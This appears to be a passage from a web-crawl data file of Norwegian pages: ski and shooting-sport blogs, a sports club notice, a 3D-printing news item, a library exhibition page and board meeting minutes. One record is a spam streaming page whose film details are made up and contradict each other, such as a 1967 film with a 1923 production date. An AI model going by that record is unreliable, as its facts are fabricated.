ens tor sol s\u00e5 vi forblir nok i Rogers pass\n\nDagen i g\u00e5r var litt styr. Min marker duke ble \u00f8delagt helt oppe p\u00e5 anlegget. Dritt binding\\!\\! Men vist nok en svakhet med fjord\u00e5rsmodellen, s\u00e5 nye \u00e5rgang ble kj\u00f8pt. F\u00e5r krangle litt n\u00e5r jeg kommer hjem. Air Canada har ogs\u00e5 v\u00e6rt hard med skiene mine i tuppen. Kan ikke ordnes men kan kj\u00f8res. Blir ogs\u00e5 nye ski p\u00e5 Air Canada sin regning\n\n\u00a0 \n\n\n\nStedvis snorkelf\u00f8re, Jonas er inne her en plass\n\n\n\nInni her en plass er Jonas\n\n## Canada\\!\\!\n\nDen f\u00f8rste helgen av til sammen tre uker i Canada er over\n\nEtter nesten et d\u00f8gns reise blir f\u00f8rste skidag litt tyngre enn vanlig men sol og pudder gj\u00f8r at man fort glemmer det. Ogs\u00e5 et kort opphold i london var en kul opplevelse f\u00f8r de siste 9 timer flyreise til Calgary der en r\u00e5 dodge ventet p\u00e5 oss.\n\nVi dro innom Kicking Horse til noen svenske venner av Jonas. Et varsel om skumle forhold fikk vi da noen hadde blitt begravd av sn\u00f8ras og d\u00f8de. Dro s\u00e5 videre til Revelstoke og fikk f\u00f8rste skidag der i fasinerende vakkert terreng i sol og 40 cm pudder.Nydelig opplevelse. Ny plan i morgen er noen ur\u00f8ret boller vi har blitt tipset om, snuser ogs\u00e5 p\u00e5 katskiing p\u00e5 tirsdag. Ser ut som 4 dager med sol f\u00f8r ny sn\u00f8dump til fredagen. Livet er fantastisk her\n\n\n\nmars 5, 2009 \u00b7 22:09\n## Laktat profil\n\nTest i dag, p\u00e5 en d\u00e5rlig en. Klarte desverre bare 3 min p\u00e5 siste \u00f8kning som var p\u00e5 350 watt men t\u00e5lte 19,6 mmol laktat. Men fin dag p\u00e5 ELIXIA Kalbakken\n\n", "language": "no", "__index_level_0__": "9a053120-d709-4719-958a-7d3b5714aaff"}
{"url": "http://www.sif.no/blog/post/68748/vi-soker-4-ungdommer-(15-20-ar)-som-skal-forbedre-idrettslaget-vart", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:23:58Z", "text": "\n\n# S\u00f8rumsand IF\n\n# Vi s\u00f8ker 4 ungdommer (15-20 \u00e5r) som skal forbedre idrettslaget v\u00e5rt\n\nPostet av S\u00f8rumsand IF den 18. Des 2015\n\n \nMener du at idrett skal v\u00e6re **morsomt?**\n\nHar du tenkt p\u00e5 at vi m\u00e5 tilby **nye typer aktivteter** og aktiviteter p\u00e5 en ny m\u00e5te?\n\nEr du en som ikke er redd for \u00e5 si hva du mener og **gjennomf\u00f8rer** det du sier?\n\n  \nDa har vi en ledig \"stilling\" til deg. Vi s\u00f8ker **4 ungdommer** mellom 15-20 \u00e5r som sammen skal etablere en YouAct-gruppe. Vi ser for oss at YouAct-gruppen skal ha **minst \u00e8n aktivitet i uken**, men utofrmingen vil skje av de fire som f\u00e5r stillingene.\n\nVi tilbyr ledererfaring og en bedre CV. Du f\u00e5r verdifull ledererfaring- noe som kan v\u00e6re avgj\u00f8rende n\u00e5r du s\u00f8ker p\u00e5 jobb. Du f\u00e5r delta p\u00e5 idrettens **lederkurs for ungdom**. Kanskje Norges beste lederkurs for ungdom. Du blir **fulgt opp av en mentor** og du f\u00e5r delta p\u00e5 et **aktivitetslederkurs.** Du vil dermed f\u00e5 en mulighet til \u00e5 p\u00e5virke v\u00e5rt aktivitetstilbud for ungdom. Vi \u00f8nsker \u00e5 kunne tilby mer og bedre aktivitet for ungdom og vi tror at ungdom selv er en del av l\u00f8sningen.\n\nSynes du dette h\u00f8res spennende ut? Si fra til din trener, lagleder eller dine foreldre at dette kunne du tenke deg \u00e5 v\u00e6re med p\u00e5. Du kan ogs\u00e5 ta direkte kontakt med Tonja som er Daglig Leder i SIF (tlf. 97 77 77 78 eller email@example.com). Vi trenger \u00e5 h\u00f8re fra deg innen 8. januar.\n\n  \nYouAct er et aktivitetskonsept for ungdom som \u00f8nsker \u00e5 drive med organisert idrett p\u00e5 mosjonsniv\u00e5. Det sosiale er en viktig del av tilbudet og ungdom er selv ledere. YouAct skal f\u00e5 flere ungdommer til \u00e5 engasjere seg som ledere og trenere. YuoAct skal f\u00e5 flere ungdommer til \u00e5 engasjere seg som ledere og trenere. YouAct er et ungdomsl\u00f8ft for norsk idrett\\! I 2016 starter YouAct opp i 6 ulike idrettslag i Akershus og SIF er ett av disse idrettslagene\\!\n\n### Kommentarer\n", "language": "no", "__index_level_0__": "e7b7f7b5-fb2c-48a7-8d83-ae4f219e86e0"}
{"url": "http://3dpnorge.no/2018/03/fourcade-med-3d-printet-vapendesign/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:30:47Z", "text": "### Fourcade med 3d-printet v\u00e5pendesign\n\n\n\nCl\u00e9ment Jacqueline fra Athletics 3D viser frem en rifle med det hvite designet som Fourcade brukte p\u00e5 jaktstarten. Foto: Zortrax.\n\n**Martin Fourcade**\u00a0fra Frankrike gjorde det godt i skiskyting i OL i\u00a0PyeongChang og stakk av med tre gullmedaljer. P\u00e5 jaktstarten skj\u00f8t Fourcade en perfekt siste st\u00e5ende runde med\u00a0en rifle fra\u00a0Athletics 3D, de hadde lagd prototypen til Fourcades v\u00e5pen med en Zortrax M200 3D printer.\n\nFor \u00e5 optimalisere ergonomien i sine skuddserier \u00f8nsket Fourcade en lettere rifle. Sportsteknologiselskapet Athletics 3D ble valgt til jobben. Selskapet ble startet av tidligere verdensmester i skiskyting, Cl\u00e9ment Jacquelin.\n\nFlere forskjellige prototyper av v\u00e5penet fra Athletics 3D ble f\u00f8rst modellert ved hjelp av CAD programvare, og deretter delt opp av Z-SUITE. Disse ble s\u00e5 3d-printet med Z-ABS materiale p\u00e5 en Zortrax M200 3D printer, en maskin som vant Personal 3D Printer of the Year (FFF) i 2017 p\u00e5 3D Printing Industry Awards.\n\n3d-printing gjorde at mange av konseptdesignene kunne pr\u00f8ves ut og testes i rask rekkef\u00f8lge f\u00f8r produksjonen. Det var\u00a0Jacquelin som selv testet hver enkelt prototype f\u00f8r han sendte sitt riflevalg til fabrikanten som lagde det ferdige v\u00e5penet.\n\nTags: 3d-printing, ol, skiskyting,\n\nRoger Stormo | firstname.lastname@example.org| 1. mars, 2018\n\nRoger Stormo | email@example.com| 23. mars, 2018\n\n\n\n#### Pasienttilpasset 3D-printet skulder\n\nDet er jobbet mye med \u00e5 3D-printe knokler til mennesker, for eksempel kneledd. Og det \u00e5 skifte ut slitte knokler har blitt helt vanlig. Men i enkelte tilfeller er ikke dette mulig, dersom knokkelen er for skadet.\n\nRoger Stormo | firstname.lastname@example.org| 23. mars, 2018\n\n\n#### S\u00f8ml\u00f8se jakker og kopihoder\n\nI 2018 g\u00e5r det en b\u00f8lge av 3d-printing i motehusene, noe som gir ulike utslag i de forskjellige motehusene. Kreativ leder Demna Gvasalia i moteselskapet Balenciaga bruker 3d-printing i sine kreasjoner. Resultatet er nesten s\u00f8ml\u00f8se jakker, som er med i Balenciagas kolleksjon for H\u00f8stVinter 2018.\n\n", "language": "no", "__index_level_0__": "ec45fd8b-0e1e-4d73-b494-5c4e29df3d3d"}
{"url": "http://www.ub.uio.no/kurs-arrangement/utstillinger/ureal/Informatikkbiblioteket/ada-lovelace.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:33:09Z", "text": "# Ada Lovelace og kvinner i informatikken\n\nInformatikkbiblioteket markerer Ada Lovelace-dagen:\u00a0En hyllest til verdens f\u00f8rste programmerer og historiske kvinner i informatikkverdenen.\n\nTid og sted: Ada Lovelace og kvinner i informatikken 7. okt. 2016 - 30. nov. 2016,  Ole-Johan Dahls hus \n\nI \u00e5r faller Ada Lovelace-dagen p\u00e5 tirsdag 11. oktober. Dette er en internasjonal dag som feirer kvinnelige forskere, teknologer, ingeni\u00f8rer og matematikere.\u00a0P\u00e5 engelsk: science, technology, engineering and maths (STEM). M\u00e5let med dagen er \u00e5 gi oppmerksomhet til kvinner som jobber innen STEM, og \u00e5 l\u00f8fte frem forbilder for jenter som kan tenke seg en karriere i STEM.\u00a0\n\nI vinduene til biblioteket i Ole-Johan Dahls hus\u00a0kan du denne m\u00e5neden se postere om historiske kvinner i informatikken.\u00a0Posterne ble laget for \u00e5 markere Ada Lovelaces 200-\u00e5rsdag og var del av en st\u00f8rre utstilling i 2015.\n\nUtstillingen finnes ogs\u00e5 som en nettutstilling,\u00a0hvor du kan lese mer om Ada og de kvinnelige pionerene som bidro til den teknologiske utviklingen.\u00a0\n\n\n\n## Arrang\u00f8r\n\nInformatikkbiblioteket\n\n Emneord:  Historie, kvinner, informatikk  \n\nPublisert 7. okt. 2016 14:35  - Sist endret 13. nov. 2017 13:30\n", "language": "no", "__index_level_0__": "52dc5131-1b69-4ccc-9b41-7d0f3e501973"}
{"url": "http://beantownbetch.blogspot.com/2017/01/young-jack-and-witch-1967-full-movie.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:37:49Z", "text": "# Young Jack and the Witch 1967 Full Movie Online\n\nPosted on 23:10 by A\n\n\n\nSe Young Jack and the Witch med Norsk Tekst\n\nPiksler : MPE 720p BRRip  \nTillatelse : Gratis og lovlig  \nLengde : 2h 49 min  \nOversettelse : Norsk tale, NO, SV, DA, SR, TI, DK, BZ, YG  \nPunkt : 8.6/10 (88761 stemmer)  \nUtsikt : 4299  \n\n\n\n\n### Outline\n\n  \nJakso : , FHD  \nProduksjonsdato : 15 november 1923  \nAvgifter : $39,608,000  \nLeverand\u00f8r : , KSZ Studios  \nInntekt : $677,908,693  \nSkala : 354 MB  \n  \n\n\n", "language": "no", "__index_level_0__": "ce147b35-3dbe-4e83-9c06-6204e0ba1967"}
{"url": "http://blogg.svartkrutt.net/2014/07/03/nm-2014-oppsummert/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00257.warc.gz", "warc_date": "2018-03-24T23:23:39Z", "text": "## Med rett til \u00e5 stikke opp hodet\n\n# NM 2014 oppsummert\n\nNM bane i svartkruttskyting ble arrangert i tidsrommet helgen 27.\u201329. juli 2014 ved Jonsvatnet i Trondheim. I 2014 bestemte jeg meg for \u00e5 pr\u00f8ve et par nye klasser, og det f\u00f8rte til at jeg valgte bort noen av de jeg har skutt godt i tidligere \u2013 som for eksempel Mini\u00e9 original, Lamarmora original og Pennsylvania. Her f\u00f8lger en gjennomgang av mine egne skytinger, mest som en dagbok for meg selv.\n\n## Mariette (replika perkusjonsrevolver)\n\n**L\u00f8r. kl. 09:00: 25 meter, standplass 3, Trondhjem Pistolklubbs bane**\n\n\n\nMariette-serien\n\nF\u00f8rste konkurransen i et mesterskap er nesten som \u00e5pningsrunden i en fotballiga \u2013 hva som helst kan skje. Matchtreningen var det ogs\u00e5 s\u00e5 som s\u00e5 med, for jeg hadde ikke skutt en konkurranse siden VM i Tyskland i 2012. N\u00e5r treningsgrunnlaget med revolveren jeg skyter i denne klassen (en .44 kaliber Uberti Remington New Army) var p\u00e5 en serie i april og en t\u00f8nne et par uker f\u00f8r NM, s\u00e5 var ikke akkurat forventningene skyh\u00f8ye. Det var kanskje ikke s\u00e5 dumt, for det gikk ikke s\u00e5 aller verst. Det endte med 85 poeng etter bare ett skudd i hviten. To tiere hjalp selvsagt p\u00e5 sluttsummen. Siden mange andre ogs\u00e5 s\u00e5 ut til \u00e5 skyte under pari endte det med sjetteplass og et shotglass i premie.\n\n## Smith & Wesson R (replika patronrevolver)\n\n**L\u00f8r. kl. 10:00: 25 meter, standplass 3, Trondhjem Pistolklubbs bane**\n\nNeste klasse skyter jeg med samme revolver, men med en konverteringst\u00f8nne i .45 Colt. Med patronrevolveren var treningsgrunnlaget om mulig enda magrere: kun to t\u00f8nner like f\u00f8r NM. Ammunisjonen jeg brukte var fra 2009, og ladet med Nitedals FFFg. Her var forventningene enda mindre, og eneste m\u00e5let var \u00e5 ikke skjemme meg helt ut. Serien var litt mer rufsete sammenlignet med Mariette-serien med tre skudd i det hvite, men det endte med samme poengsum (85 poeng). Det holdt til femteplass, og enda et shotglass i premie.\n\n\u00a0\n## Colt (original perkusjonsrevolver)\n\n**L\u00f8r. kl. 11:**00:** 25 meter, standplass 3, Trondhjem Pistolklubbs bane**\n\n\n\nColt-serien.\n\nS\u00e5 var det klart for debut i Colt-klassen, og den hadde jeg litt st\u00f8rre forventninger til siden jeg tross alt hadde skutt en del serier med min nyanskaffede .44 kaliber Remington New Army laget i 1863. Denne revolveren har f\u00e5tt p\u00e5satt nytt forsikte, som egentlig var litt for h\u00f8yt. Likevel har jeg ligget p\u00e5 rundt 90 poeng p\u00e5 trening. Slik skulle det ikke g\u00e5 i konkurransen, for jeg slet med \u00e5 finne riktig h\u00f8yde. Den horisontale samlingen var faktisk ikke s\u00e5 verst, men vertikalt gikk det opp og ned som en jojo. Jeg hadde ogs\u00e5 m\u00e5lt opp litt for mye gryn, slik at spesielt de siste skuddene ble litt vanskelige \u00e5 ladet. Slikt blir det ikke mye poeng av. Det endte med en serie for glemmeboka: 77 poeng og femteplass.\n\n## Miquelet O (original milit\u00e6r flintl\u00e5smuskett)\n\n**L\u00f8r. kl. 13:**00:** 50 meter, standplass 1, Nidaros skytebane**  \nEtter en times pause innfant jeg meg p\u00e5 50-meteren. F\u00f8rst var det flintl\u00e5smusketten som skulle til pers. To treningsserier i ukene f\u00f8r NM med varierende resultater utgjorde treningsgrunnlaget. Under NM gikk det helt greit med den svenske Modell 1815-musketten jeg skyter med. Alle de tretten skuddene gikk av relativt raskt og greit uten nevenverdig forsinkelse og alle de ti tellende satt i svarten. Uheldigvis var skuddene spredt utover hele det svarte, og med bare en nier som besteskudd endte det med 73 poeng og f\u00f8rsteplass (av to deltakere) i originalklassen. P\u00e5 grunn av f\u00e5 deltakere ble originalklassen sl\u00e5tt sammen med replikaklassen, og der holdt summen til nok en femteplass.\n\n## Jarmann O (original patronrifle)\n\n**L\u00f8r. kl. 14:**00:** 50 meter, standplass 1, Nidaros skytebane**  \nS\u00e5 var det klart for nok en debut. I Jarmann-klassene skytes det med patronrifler st\u00e5ende p\u00e5 50 meter, og som seg h\u00f8r og b\u00f8r stilte jeg med en original milit\u00e6r Jarmann i originalklassen med tiln\u00e6rmet original papirviklet ammunisjon. Denne rifla kj\u00f8pte jeg i v\u00e5r, og etter \u00e5 ha slitt litt med \u00e5 f\u00e5 den til \u00e5 g\u00e5 av fikk jeg vel egentlig aldri den helt store presisjonen. Selv om jeg har testet ammunisjon en del liggende p\u00e5 50 meter, var treningsgrunnlaget ca. tre st\u00e5endeserier. Et tilbakevendende problem var at jeg enten skj\u00f8t for lavt eller for h\u00f8yt, men som regel holdt skuddene seg i svarten. Det gjorde det under NM ogs\u00e5. Det gikk faktisk overraskende bra\\! Med en tellende tier, fem niere og resten \u00e5ttere ble det til slutt 87 poeng og bronsemedalje. En ren bonus der, alts\u00e5. S\u00f8lvet gikk til Stig Kristoffersen som ogs\u00e5 hadde 87 poeng, men han hadde en nier mer enn meg. Oddvar Deberitz var et hestehode foran, og vant med 93 poeng.\n\n## Jarmann R (replika patronrifle)\n\n**L\u00f8r. kl. 15:**00:** 50 meter, standplass 1, Nidaros skytebane**  \nJarmann replika var ogs\u00e5 en ny klasse for meg. Her skj\u00f8t jeg med min .45\u201370 kaliber Shiloh Sharps. Jeg har en hel dr\u00f8ss med hullkorn liggende til denne, men ingen som passer p\u00e5 femti meter. Derfor m\u00e5tte jeg bruke et stolpekorn og sikte rullende. For enhelhets skyld brukte jeg samme sikteinnstillinger som p\u00e5 100 meter. Treningsgrunnlaget var rundt tre serier. Sharpsen skyter hull i hull om jeg klarer \u00e5 holde den i ro, og de tre f\u00f8rste skuddene satt omtrent i samme hullet. Bare synd de satt i \u00e5tteren, litt oppe til venstre. Etter litt justering fortsatte de to neste i \u00e5tteren under. N\u00e5 trodde jeg l\u00f8pet var kj\u00f8rt, men i resten av serien klarte jeg \u00e5 f\u00e5 inn tre tiere og et par niere. Det gjorde at jeg endte p\u00e5 88 poeng, og jeg var rimelig overrasket da jeg oppdaget at det holdt til gullmedalje med fire poengs margin.\n\n## Remington Match (replika patronrifle)\n\n**L\u00f8r. kl. 16:**00:** 100 meter, standplass 5, Nidaros skytebane**\n\n\n\nRemington Match-serien.\n\nEtterp\u00e5 lusket jeg over til 100-meteren der jeg ogs\u00e5 brukte Sharpsen. Det hadde bare blitt tid til to treningesserier p\u00e5 100 meter i \u00e5r, men resultatene var lovende med summer mellom 92 og 96. En lei vind skapte problemer for mange i denne klassen, og selv om den hadde l\u00f8yet litt sent p\u00e5 dagen var den fremdeles merkbar. F\u00f8rste skiva var rufsete med to \u00e5ttere og fire niere, og neste gikk ikke s\u00e6rlig bedre. Selv med en tier klarte jeg ikke \u00e5 holde resten av de tellende skuddene innefor nierringen, og derfor endte det med 89 poeng og femteplass. Rune Stensrud p\u00e5 standplassen ved siden av meg taklet forholdene mye bedre, og vant klassen med 96 poeng. Skuddet som er sensurert med r\u00f8dt p\u00e5 bildet er ikke mitt, det ble donert av en annen skytter \u2013 dessverre uten at det hjalp p\u00e5 poengsummen\\!\n\n## Donald Malson O (original perkusjonsrevolver)\n\n**S\u00f8n. kl. 09:**00:** 50 meter, standplass 3, Trondhjem Pistolklubbs bane**\n\n\n\nDonalt Malson original-serien.\n\nS\u00f8ndagen \u00e5pnet med nok en klassedebut. Som eneste deltaker i klassen Donald Malson original var jeg sikker p\u00e5 seier, men\u00a0 siden jeg bare hadde skutt en t\u00f8nne noensinne p\u00e5 50 meter med revolver visste jeg ikke helt hva som ventet. Jeg brukte samme siktepunkt som p\u00e5 25 meter, og med litt mindre gryn bak kula fungerte ting bedre. Det begynte med en syver, etterfulgt av en nier. Dette var jo lett\\! tenkte jeg i min enkelhet. Jeg kom fort ned p\u00e5 jorda igjen etter to toere p\u00e5 rappen, og deretter to firere. F\u00f8rste skuddet p\u00e5 andre skiva ble en klokkeklar innertier og siden jeg ogs\u00e5 avsluttet serien med en tier skjemte jeg meg ikke helt bort. Sluttsummen ble 65 poeng. Av positive ting kan det bemerkes at det gikk betraktelig bedre enn i Colt-klassen p\u00e5 25 meter. Av en eller annen grunn ser det ikke ut til at denne klassen ble sl\u00e5tt sammen med replikaklassen \u2013 i hvert fall ikke p\u00e5 de offisielle resultatlistene.\n\n## Vetterli R (replika fri perkusjonsrifle)\n\n**S\u00f8n. kl. 11:**00:** 50 meter, standplass 1, Nidaros skytebane**  \nI Vetterli, eller fri perkusjonsrifle st\u00e5ende p\u00e5 50 meter, bruker jeg min gamle Parker-Hale Whitworth kaliber .451\u2033. Denne rifla skyter godt, men halter litt med sine mange tekniske problemer. En uke f\u00f8r NM m\u00e5tte deler av stokken limes etter at et stort stykke falt av. Nippelgjengene i sneglehuset har ogs\u00e5 blitt borret opp pga. utbrente gjenger, og det f\u00f8rte til at jeg n\u00e5 m\u00e5 bruke en 10 mm spesialnippel. Nok om det, rifla g\u00e5r godt. Alle tretten skuddene satt i svarten, men til tross for tre tiere ble det for mange \u00e5ttere. Det holdt likevel til 89 poeng og bronsemedalje. Jeg irriterer meg litt over at jeg ikke klarte \u00e5 holde igjen en del av de d\u00e5rlige skuddene, men hodet hang ikke helt med. Jeg er forn\u00f8yd med plasseringen, men ikke med poengsummen.\n\n## Whitworth R (replika fri perkusjonsrifle)\n\n**S\u00f8n. kl. 13:**00:** 100 meter, standplass 1, Nidaros skytebane**  \nEtter en times pause som jeg brukte til \u00e5 innta et m\u00e5ltid lapskaus var det duket for samme rifle p\u00e5 100 meter. Vinden var ikke helt p\u00e5 min side denne dagen heller, men rifla var heller ikke helt i form. Siden jeg ikke hadde rukket \u00e5 pusse mellom 50- og 100-meterserien var det tydeligvis for mye kruttslam i nippelen og/eller sneglehuset. Jeg m\u00e5tte bruke to tennhetter for \u00e5 f\u00e5 av pusseskuddet, og jeg fikk ogs\u00e5 to klikk p\u00e5 to skudd senere i serie. Irriterende. N\u00e5r hodet i tillegg allerede var begynt p\u00e5 hjemturen, gikk det som det gikk. Med tre skudd i det hvite \u2013 men alle de ti tellende spredt rundt i svarten \u2013 endte det med 82 poeng, tiendeplass og mitt d\u00e5rligste Whitworth-resultat noensinne.\n\n## Oppsummering\n\nTre medaljer og plassering rundt femteplass i de fleste klassene b\u00f8r jeg v\u00e6re godt forn\u00f8yd med, men jeg f\u00f8ler jeg har mer inne. \u00c5 skyte ti klasser var kanskje litt vel ambisi\u00f8st, men n\u00e5r en kj\u00f8rer i 11 timer hver vei er det greit \u00e5 f\u00e5 skutt litt. Det er tross alt god matchtrening. Det var ellers overraskende at alle medaljene kom p\u00e5 st\u00e5ende\u00f8velser. Jeg anser meg selv som liggendeskytter f\u00f8rst og fremst.\n\nLite s\u00f8vn b\u00e5de f\u00f8r og under NM spiller nok ogs\u00e5 litt inn, ikke minst mentalt. Er du litt sliten er det lett \u00e5 slippe av g\u00e5rde skudd en vet en kunne blitt bedre med litt konsentrasjon. Ingen poengsummer over 90 er jeg heller ikke s\u00e6rlig forn\u00f8yd med. Men det jeg er forn\u00f8yd med er selve stevnearrangementet og \u00e5 f\u00e5 treffe alle menneskene i milj\u00f8et. En del av oss snakkes i Danmark under Nordisk mesterskap senere i juli\\!\n\n### *Relatert*\n\nDette innlegget ble skrevet i Svartkrutt og skyting og merket NM 2014, 3. juli, 2014 av \u00d8yvind F..\n\n", "language": "no", "__index_level_0__": "7591e485-d6f8-4ac2-8b9c-000cf7a1f3b8"}
{"url": "http://docplayer.me/1152150-Protokoll-fra-styremote-nr-1-2012-2014-mandag-21-5-2012-kl-18-00-pa-idrettens-hus-stoa.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:39Z", "text": "\n\n\n3 Side 3 Referatsakene 33/12 til 41/12 tas til etterretning. I forbindelse med hva det forventes av lagene, skal adm i kretsen lage tydelig henvisning tilnettsidene der det finnes veiledning som gj\u00f8r det enklere for lagene \u00e5 gj\u00f8re oppdateringer, s\u00f8knadsfrister osv. All n\u00f8dvendig info ligger nederst p\u00e5 v\u00e5r egen nettside Sak 3 (A): Styrets arbeidsform. Ny styreperiode starter normalt med en diskusjon om hvordan man skal organisere arbeidet i kommende periode. Som grunnlag for en slik diskusjon h\u00f8rer erfaringer som er gjort i forrige periode med. Stikkord i denne sammenheng kan v\u00e6re: B\u00f8r vi ha et arbeidsutvalg? B\u00f8r oppgavene fordeles p\u00e5 hvert styremedlem i s\u00e5 fall hvordan? Representasjon skal det enkelte styremedlem ha et oppf\u00f8lgingsansvar overfor utvalgte lag, idrettsr\u00e5d, s\u00e6rkretser? Hvor ofte b\u00f8r vi ha styrem\u00f8te? Hvordan b\u00f8r de enkelte saker forberedes (styret/adm.) Forhold styret administrasjon Annet. Det tas sikte p\u00e5 en kort innledning om erfaringer fra tidligere \u00e5r p\u00e5 disse punktene og evt. andre forhold. Siden det er flere nyvalgte medlemmer i styret b\u00f8r det avsettes noe tid p\u00e5 dette. Styret arbeider i fellesskap, uten bruk av arbeidsutvalg, men ved bruk av mail dersom det er n\u00f8dvendig mellom m\u00f8tene. Oppgavene som eventuelt skal fordeles mellom styremedlemmer, tas opp etter hvert, og fordeles etter behov. Varamedlemmene henstilles til \u00e5 m\u00f8te i alle styrem\u00f8ter.representasjonsoppgaver skal fordeles mellom medlemmene, slik at alle blir involvert. M\u00f8tefrekvens: ca 8 m\u00f8ter pr \u00e5r, og dersom det er mulig kan m\u00f8ter kombineres med idrettsarrangementer i fylket. Saksforberedelse: Vedlegg til sakene skal nummereres. Forholdet styret administrasjon: Viktig \u00e5 v\u00e6re tydelig ift bevissthet om roller og rollefordeling mellom styret og adm. I ikke vesentlige saker skal styreleder og org.sjef sammen kunne ta beslutninger, men med p\u00e5f\u00f8lgende informasjon til styret. Sak 4 (B): Regnskapsoversikt pr Vedlagt f\u00f8lger regnskapsoversikt og balanse pr Som det framg\u00e5r, er regnskapsoppstillingen periodisert, etter anbefaling av revisor. Tilskuddene fra henholdsvis NIF og Aust-Agder fylke er dermed fordelt over hele \u00e5ret. Av vedlagte framg\u00e5r regnskapet pr med et overskudd p\u00e5 kr ,26 mot budsjett p\u00e5 ,67. Avvikene kommenteres i m\u00f8tet. Vedlegg 4-1 og 4-2\n\n\n\n\n\n5 Side 5 Det er s\u00e6rdeles viktig at styrets medlemmer setter seg godt inn i planen, og at man har klare meninger om hvilke prioriterte oppgaver styret og administrasjonen skal jobbe mest med i kommende periode. Adm drar p\u00e5 strategisamling til Haukelifjell juni, og styret og adm m\u00f8tes tidlig h\u00f8st, siden man ikke kunne finne en passende dato f\u00f8r sommerferien. M\u00e5l med samlingen: 1. F\u00e5 konkretisert strategiplanen slik at den blir et godt arbeidsverkt\u00f8y for adm og styret 2. Bli godt kjent Vedlegg 5-1: Strategiplan og langtidsbudsjett Adm jobber med handlingsplanen p\u00e5 samling i juni, og fremlegger denne p\u00e5 neste styrem\u00f8te. Der det g\u00e5r an, legger adm. inn budsjettpost i de prosjektene der man f\u00e5r prosjektinntekter og/eller kostnader utover de faste adm.kostnadene. Milj\u00f8fyrt\u00e5rn: Det oppfordres fra styret at vi jobber mot \u00e5 bli milj\u00f8fyrt\u00e5rn n\u00e5r vi flytter til nye lokaler Styret inviterer Idrettsfinans og Idrettsfondet til neste styrem\u00f8te. Presentasjonen av Idrettsfinans fra Kretstinget som vedlegg til dette referatet Sak 7 (A) M\u00f8teplan inkl styreseminar Det t\u00f8r v\u00e6re kjent at de flest av oss har ulike politiske verv, verv i idrettslag eller annet. Derfor har det vist seg \u00e5 finne en m\u00f8tedag som passer for alle, kan v\u00e6re meget vanskelig. Men det er alltid lettere \u00e5 jobbe ut ifra et forslag n\u00e5r man er mange som skal enes. (Dette kan imidlertid gj\u00f8res helt om). M\u00d8TE NR DAG DATO STED 2. tirsdag 21. august 18:00 Seilerhytta, Arendal (?) 3. torsdag 20. september 18:00 Arendal Idrettspark, Myra 4. onsdag 24. oktober 18:00 Arendal Idrettspark, Myra 5. tirsdag 27. november 18:00 Bestemmes senere M\u00f8tene avholdes i tr\u00e5d med forannevnte m\u00f8teplan. M\u00f8tet i september blir et styrem\u00f8te med handlingsplanen som hovedsak Administrasjonen er til stede under behandlingen av denne saken. Stedsvalg p\u00e5 m\u00f8tene kan endres dersom det kan samordnes med aktuelle idrettsarrangementer i regionen. Sak 8 (A) Finansiering av deltakelse i Idrettens Treningssenter Kretstinget gav oss myndighet til \u00e5 bruke inntil kr for \u00e5 bli medeiere i det nye treningssenteret i Arendal Idrettspark, Myra. Selskapet ble stiftet 14.05, under navnet ATLETICA Idrettens Treningssenter AS, med 1 mill i aksjekapital (1000 aksjer\n\n\n\n6 Side 6 a kr 1000). AAIK tegnet seg for 120 aksjer a kr 1000 = kr Andre eiere: Arendals Turnforening (490 aksjer, \u00d8yestad H\u00e5ndball Elite (200 aksjer), Idrettsfinans (60 aksjer), Arendal Sk\u00f8iteklub (50 aksjer), Arendal Tennisklubb (50 aksjer) og Aust- Agder Seilkrets (30 aksjer). Selskapet tar ikke opp l\u00e5n, dermed er det kun aksjekapitalen som pr i dag er risikoen. Informasjon utover dette gis i m\u00f8tet Informasjonen tas til etterretning, og vi posterer kr p\u00e5 konto 2110 Talentutvikling og kr p\u00e5 konto 2170 Kompetansefond. Sak 9 (A) S\u00f8knader om midler fra klubber og enkeltut\u00f8vere AAIK deler ut midler gjennom \u00e5ret til klubber og enkeltut\u00f8vere etter s\u00f8knad. Midlene har v\u00e6rt delt ut etter litt uklare kriterier innenfor 5 hovedomr\u00e5der: Omr\u00e5de Saldo pr i dag Fordelt til n\u00e5 i Toppidrett Talentutvikling Rekruttering Barn og Ungdom Handicap/Integrering Kompetansetiltak TOTALT I 2011 fordelte vi ca 400 totalt innenfor disse 5 omr\u00e5dene. I 2012 har vi til fordeling til tilsvarende. Til dette m\u00f8tet har vi mottatt 6 s\u00f8knader om midler, og til informasjon legges disse ved. Adm \u00f8nsker at styret skal ta stilling til et sett av kriterier for tildeling av disse midlene, og \u00f8nsker en diskusjon og evt vedtak p\u00e5 m\u00f8tet f\u00f8r tildeling skal foretas. Som grunnlag for diskusjonen, tenker vi oss at flg kriterier m\u00e5 vurderes: Enkeltut\u00f8vere klubb? F\u00e5 og st\u00f8rre tildelinger eller mange og mindre? Hva defineres som toppidrett? Hva er talentutvikling? Klubbtilh\u00f8righet/adresse i fylket? Historikk i klubb/omr\u00e5de Andre? Vedlegg 9/1-6 Forslag til vedtak:\n\n\n\n7 Side 7 Administrasjonen bes \u00e5 arbeide videre med de ulike kriteriene og klargj\u00f8re tydeligere skillelinjer slik at styret i neste m\u00f8te evt. kan fatte vedtak p\u00e5 b\u00e5de kriterier og s\u00f8knadene p\u00e5 midler. Det \u00f8nskes ogs\u00e5 \u00e5 f\u00e5 dr\u00f8ftet fordeler/ulemper ved f. eks \u00e5 ha 4 faste s\u00f8knadsfrister kontra det \u00e5 behandle s\u00f8knadene fortl\u00f8pende. N\u00e5v\u00e6rende s\u00f8kere f\u00e5r tilbakemelding om at tildelingsvedtak blir utsatt til ultimo august. Stimuleringsmidlene blir vurdert etter s\u00f8knadsfristen 1. juni, og adm innstiller med mail til styrets 